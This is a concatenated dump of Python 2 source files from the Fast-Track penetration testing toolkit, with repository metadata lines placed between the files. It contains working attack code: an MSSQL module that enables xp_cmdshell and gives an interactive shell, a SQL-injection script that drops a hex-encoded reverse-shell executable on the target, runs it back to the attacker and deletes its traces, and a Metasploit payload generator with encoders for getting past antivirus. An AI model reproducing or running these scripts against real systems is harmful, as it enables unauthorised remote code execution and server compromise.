Fast-Track...\n\n" rmold=subprocess.Popen("rm bin/appdata/*comp 2> /dev/null;rm bin/appdata/sqlsuccesslist.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlpassword 2> /dev/null", shell=True).wait() sys.exit() try: fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() except Exception: print "\nEnter the number of the session only. Example 1. 192.168.1.32. You would enter 1" jumptosession=raw_input("\nEnter the number of the SQL Server to jump interactive with. Example 1: ") try: choice=sys.argv[6] except Exception, e: choice=raw_input("""Specify payload: 1. Standard Command Prompt 2. Metasploit Reverse VNC TCP (Requires Metasploit) 3. Metasploit Meterpreter (Requires Metasploit) 4. Metasploit Reflective VNC DLL Injection (Requires Metasploit) Enter number here: """) fileread2=file("bin/appdata/%scomp" % (jumptosession),"r").readlines() for line in fileread2: line=line.rstrip() line=tuple(line.split(",")) mssql = _mssql.connect('%s' % (line[0]),'%s' % (line[1]),'%s' % line[2]) print "\nEnabling: XP_Cmdshell..." enablexp="EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;" enablexp2="RECONFIGURE;" try: printquery1=mssql.execute_query(enablexp) except Exception: pass try: printquery2=mssql.execute_query(enablexp2) except Exception: pass mssql.select_db('master') print "Finished trying to re-enable xp_cmdshell stored procedure if disabled.\n" if choice == '1': print 'Jumping you into a shell one moment..\n' print '\nYou can always type "quit" to continue on to a seperate server.\n' time.sleep(2) mssql.select_db('master') while 1 == 1 : commandprompt=raw_input("Enter your shell commands here: ") if commandprompt == 'quit' : break try: query3="xp_cmdshell '%s'" % commandprompt printquery=mssql.execute_query(query3) for line in mssql: line=str(line) match=re.search("""\(\(\(\'output\'\, 1\)\,\)\, -1\, \[\(""", line) if match: line=line.replace("""((('output', 1),), -1, [(""", "") line=line.replace(r"""\\\\\r""", "") line=line.replace("""(None""", "") line=line.replace("""('""", "") line=line.replace("""',),""", "\n") line=line.replace(""",)])""", "\n") line=line.replace(""",),""", "\n") line=line.replace("'","") line=line.replace(r"\r","") line=line.replace(r"\t","") line=line.replace("None","") line=line.replace(r"""The command completed with one or more errors.""", "\n") print "\n\nShell brought to you by Fast-Track: Happy pwning" + "\n\n"+line except Exception: pass if choice == '2': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '3': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '4': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if choice == '5': try: Payload_Delivery(choice,jumptosession) except Exception, e: print e if not os.path.isfile("bin/appdata/sqlsuccesslist.txt"): print "Sorry the brute force attack was unsuccessful. Better luck next time!\n" deloldfile=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm bin/appdata/1comp 2> /dev/null;rm bin/appdata/metasploit 2> /dev/null;rm metasploitdeliver 2> /dev/null;rm metasploithex 2> /dev/null;rm sqlsuccesslist.txt 2> /dev/null", shell=True).wait()
21,517
Python
.py
389
44.115681
668
0.612174
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,358
updates.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/updates.py.svn-base
#!/usr/bin/env python import time import os import sys import subprocess import re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() print "\nNote this DOES NOT install prereqs, please go to the installation menu for that.\nUpdating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, Kismet-NewCore and SQL Map" time.sleep(3) sys.path.append("%s/bin/ftsrc/" % (definepath)) import updateft counter=0 print """**** Updating Metasploit v3 ****""" definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: updatingmetasploit=subprocess.Popen("svn update %s" % (metapath), shell=True).wait() print """\n**** Updating AirCrack-NG ****""" updatesaircrack=subprocess.Popen("svn co http://trac.aircrack-ng.org/svn/trunk /pentest/wireless/aircrack-ng;cd /pentest/wireless/aircrack-ng;make sqlite=true && make sqlite=true install", shell=True).wait() print "\nUpdating Nikto..." niktoupdate=subprocess.Popen("cd /pentest/scanners/nikto/;./nikto.pl -update", shell=True).wait() print "\nUpdating the Web Application Attack and Audit Framework (W3AF)" w3afupdates=subprocess.Popen("svn co https://w3af.svn.sourceforge.net/svnroot/w3af/ /pentest/web/w3af", shell=True) w3afupdates=subprocess.Popen("cd /pentest/web/w3af;svn update", shell=True).wait() print "\nUpdating SQLMap..." # CHECK FOR NEW SQLMAP fileopen=file("bin/config/sqlmap_config", "r").readlines() for line in fileopen: line=line.rstrip() if line == 'SQLMAP=0': #fileopen.close() filewrite=file("bin/config/sqlmap_config", "w") filewrite.write("SQLMAP=1") filewrite.close() subprocess.Popen("rm -rf /pentest/database/sqlmap", shell=True).wait() subprocess.Popen("svn co https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap/", shell=True).wait() if line == 'SQLMAP=1': sqlmapupdate=subprocess.Popen("svn co https://svn.sqlmap.org/sqlmap/trunk/sqlmap /pentest/database/sqlmap", shell=True).wait() print "\nUpdating Offsec Exploit-DB exploits..." subprocess.Popen("cd /pentest/exploits/;svn co svn://devel.offensive-security.com/exploitdb exploitdb", shell=True).wait() subprocess.Popen("cd /pentest/exploits/exploitdb;svn update", shell=True).wait() print "Updating Kismet-NewCore..." if not os.path.isfile("/pentest/wireless/kismet-newcore"): createdir=subprocess.Popen("mkdir /pentest/ 2> /dev/null", shell=True) createdir=subprocess.Popen("mkdir /pentest/wireless/ 2> /dev/null" , shell=True) rmold=subprocess.Popen("rm /pentest/wireless/kismet-newcore 2> /dev/null", shell=True) conew=subprocess.Popen("svn co https://www.kismetwireless.net/code/svn/trunk /pentest/wireless/kismet-newcore;cd /pentest/wireless/kismet-newcore;./configure;make;make install", shell=True).wait() print "Updating Gerix Wifi Cracker NG" subprocess.Popen("cd /usr/share;svn co svn://devel.offensive-security.com/gerix-ng", shell=True).wait() subprocess.Popen("cd /usr/share;svn update", shell=True).wait() print "Updating the Social-Engineer Toolkit" subprocess.Popen("cd /pentest/exploits/;svn co http://svn.secmaniac.com/social_engineering_toolkit SET/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/SET;svn update", shell=True).wait() print "\nFinished updating...." except KeyboardInterrupt: print "\n\nControl-C detected, exiting Fast-Track...\n\n" sys.exit() except Exception, e: print "Error occured, printing error message: "+e
3,771
Python
.py
71
48.873239
210
0.72582
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,359
sqlbinarypayload.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlbinarypayload.py.svn-base
#!/usr/bin/env python import socket import pexpect import time import sys import os import re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass include.print_banner() try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input(" Enter your IP Address: ") try: targeturl=sys.argv[4] except IndexError: print """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Requirements: PExpect ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This module uses a reverse shell by using the binary2hex method for uploading. It does not require FTP or any other service, instead we are using the debug function in Windows to generate the executable. You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE So for example, when the tool asks you for the SQL Injectable URL, type: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah """ targeturl=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) try: match=re.search("http://", targeturl) if not match: match2=re.search("https://", targeturl) if not match2: choicehttp=raw_input(""" Choice which of the following to attack: 1. HTTP 2. HTTPS Enter number: """) if choicehttp=='1': targeturl=("http://"+targeturl) if choicehttp=='2': targeturl=("https://"+targeturl) except Exception, e: print e ncstarter=os.popen2('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Binary Payload SQL Injector" -e nc -lvp 4444 2> /dev/null') time.sleep(2) # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE--""") string3=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string4=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string5=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string6=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string7=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string8=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string9=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string10=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string11=(r"';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string12=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string13=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string14=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string15=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string17=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string18=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string19=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string20=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string21=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string22=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string23=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string24=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string25=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string26=(r"';exec master..xp_cmdshell 'reverse.exe %s 4444'--" % (ipaddr)) sqlreplace1 = targeturl.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace3 = targeturl.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = targeturl.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = targeturl.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = targeturl.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = targeturl.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = targeturl.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = targeturl.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = targeturl.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = targeturl.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = targeturl.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = targeturl.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = targeturl.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = targeturl.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = targeturl.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = targeturl.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = targeturl.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = targeturl.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = targeturl.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = targeturl.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = targeturl.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = targeturl.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = targeturl.replace("'INJECTHERE", """%s""" % (string24)) sqlreplace25 = targeturl.replace("'INJECTHERE", """%s""" % (string25)) sqlreplace26 = targeturl.replace("'INJECTHERE", """%s""" % (string26)) try: import urllib2 print " Sending initial request to enable xp_cmdshell if disabled...." connect1=urllib2.urlopen("""%s""" % (sqlreplace1).replace(" ", "%20")) # print "Trying to kill various anti-virus before converting the payload.." print " Sending first portion of payload (1/4)...." connect3=urllib2.urlopen("""%s""" % (sqlreplace3).replace(" ", "%20")) connect4=urllib2.urlopen("""%s""" % (sqlreplace4).replace(" ", "%20")) connect5=urllib2.urlopen("""%s""" % (sqlreplace5).replace(" ", "%20")) print " Sending second portion of payload (2/4)...." connect6=urllib2.urlopen("""%s""" % (sqlreplace6).replace(" ", "%20")) connect7=urllib2.urlopen("""%s""" % (sqlreplace7).replace(" ", "%20")) connect8=urllib2.urlopen("""%s""" % (sqlreplace8).replace(" ", "%20")) connect9=urllib2.urlopen("""%s""" % (sqlreplace9).replace(" ", "%20")) print " Sending third portion of payload (3/4)..." connect10=urllib2.urlopen("""%s""" % (sqlreplace10).replace(" ", "%20")) connect11=urllib2.urlopen("""%s""" % (sqlreplace11).replace(" ", "%20")) connect12=urllib2.urlopen("""%s""" % (sqlreplace12).replace(" ", "%20")) connect13=urllib2.urlopen("""%s""" % (sqlreplace13).replace(" ", "%20")) connect14=urllib2.urlopen("""%s""" % (sqlreplace14).replace(" ", "%20")) connect15=urllib2.urlopen("""%s""" % (sqlreplace15).replace(" ", "%20")) connect16=urllib2.urlopen("""%s""" % (sqlreplace16).replace(" ", "%20")) connect17=urllib2.urlopen("""%s""" % (sqlreplace17).replace(" ", "%20")) print " Sending the last portion of the payload (4/4)..." connect18=urllib2.urlopen("""%s""" % (sqlreplace18).replace(" ", "%20")) connect19=urllib2.urlopen("""%s""" % (sqlreplace19).replace(" ", "%20")) connect20=urllib2.urlopen("""%s""" % (sqlreplace20).replace(" ", "%20")) connect21=urllib2.urlopen("""%s""" % (sqlreplace21).replace(" ", "%20")) print ' Running cleanup before executing the payload...' connect22=urllib2.urlopen("""%s""" % (sqlreplace22).replace(" ", "%20")) connect23=urllib2.urlopen("""%s""" % (sqlreplace23).replace(" ", "%20")) connect24=urllib2.urlopen("""%s""" % (sqlreplace24).replace(" ", "%20")) connect25=urllib2.urlopen("""%s""" % (sqlreplace25).replace(" ", "%20")) print " Running the payload on the server..." connect26=urllib2.urlopen("""%s""" % (sqlreplace26).replace(" ", "%20")) print " You should have a shell if everything went good..Might take a couple seconds\n" except Exception,e: print e print ' Something went wrong, did you enter the IP address right??\n\nAlso, might not be running as "SA".\nYou will need to close the xterm window manually.' time.sleep(4)
16,160
Python
.py
169
92.639053
1,531
0.679294
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,360
payloadgen.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/payloadgen.py.svn-base
#!/usr/bin/env python # Import modules import subprocess,time,sys,os,re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line include.print_banner() print """ The Metasploit Payload Generator is a simple tool to make it extremely easy to generate a payload and listener on the Metasploit framework. This does not actually exploit any systems, it will generate a metasploit payload for you and save it to an executable. You then need to someone get it on the remote server by yourself and get it to execute correctly. This will also encode your payload to get past most AV and IDS/IPS. """ try: # Specify path to metasploit path=metapath # Specify payload choice1=raw_input(''' What payload do you want to generate: Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. <ctrl>-c to Cancel Enter choice (example 1-6): ''') counter=0 if choice1=='1': choice1=("windows/shell_reverse_tcp") if choice1=='2': choice1=("windows/meterpreter/reverse_tcp") if choice1=='3': choice1=("windows/vncinject/reverse_tcp") shell=raw_input("Do you want a courtesy shell yes or no: ") if shell=='yes' or shell=='y': courtesyshell=("DisableCourtesyShell=True") if shell=='no' or shell=='no': courtesyshell=("") counter=counter+1 if counter==0: courtesyshell=("") if choice1=='4': choice1=("windows/shell_bind_tcp") # Specify Encoding Option # re-clear the screen include.print_banner() encode=raw_input(''' Below is a list of encodings to try and bypass AV. Select one of the below, Avoid_UTF8_tolower usually gets past them. 1. avoid_utf8_tolower 2. shikata_ga_nai 3. alpha_mixed 4. alpha_upper 5. call4_dword_xor 6. countdown 7. fnstenv_mov 8. jmp_call_additive 9. nonalpha 10. nonupper 11. unicode_mixed 12. unicode_upper 13. alpha2 14. No Encoding Enter your choice : ''') if encode=='1': encode=("ENCODING=avoid_utf8_tolower") if encode=='2': encode=("ENCODING=shikata_ga_nai") if encode=='3': encode=("ENCODING=alpha_mixed") if encode=='4': encode=("ENCODING=alpha_upper") if encode=='5': encode=("ENCODING=call4_dword_xor") if encode=='6': encode=("ENCODING=countdown") if encode=='7': encode=("ENCODING=fnstenv_mov") if encode=='8': encode=("ENCODING=jmp_call_additive") if encode=='9': encode=("ENCODING=nonalpha") if encode=='10': encode=("ENCODING=nonupper") if encode=='11': encode=("ENCODING=unicode_mixed") if encode=='12': encode=("ENCODING=unicode_upper") if encode=='13': encode=("ENCODING=alpha2") if encode=='14': encode=("") # Specify Remote Host choice2=raw_input("\n Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): ") choice3=raw_input(" Enter the port of the Listener: ") choice4=raw_input('''\n Do you want to create an EXE or Shellcode 1. Executable 2. Shellcode Enter your choice: ''') if choice4 =='1': choice4=("X") choice5=("exe") if choice4 =='2': choice4=("C") choice5=("txt") # Coming soon... #restricted=raw_input("Do you want to avoid certain restricted characters, yes or no: ") #if restricted == 'yes' or restricted == 'y': # restricted=raw_input(r""" #Restricted characters are those that may get jacked up within #the stack. Which ones would you like to avoid. # #Example: \x00\xff # #Which chars would you like to restrict: """) # restrict=(r"-b " + "'"+restricted+"'") # if restricted == 'no' or restricted == 'n' : restrict = '' generatepayload=subprocess.Popen(r"%smsfpayload %s LHOST=%s LPORT=%s %s %s %s > payload.%s" % (path,choice1,choice2,choice3,encode,courtesyshell,choice4,choice5), shell=True).wait() print "\n\n A payload has been created in this directory and is named 'payload.%s'. Enjoy!\n\n" % (choice5) # Start listener code listener=raw_input(" Do you want to start a listener to receive the payload yes or no: ") if listener=='yes' or listener =='y': # if they want a listener, start here print "\n Launching Listener..." # launch actual listener print "***********************************************************************************************" print """\n Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='%s' Listening on IP: %s on Local Port: %s Using encoding: %s\n""" % (choice1, choice2, choice3, encode) print "***********************************************************************************************" listeerlaunch=subprocess.Popen("%s/msfcli exploit/multi/handler PAYLOAD=%s LHOST=%s LPORT=%s %s E" % (path,choice1,choice2,choice3,encode), shell=True).wait() else: print "\n\n Exiting PayloadGen...Hack the gibson....\n\n" sys.exit(1) # Catch all errors except KeyboardInterrupt: print "\n\n Keyboard Interrupt Detected, exiting Payload Gen.\n" except Exception,e: print " Something went wrong, printing error message.." print e
5,810
Python
.py
130
40.1
189
0.650707
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,361
include.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/include.py.svn-base
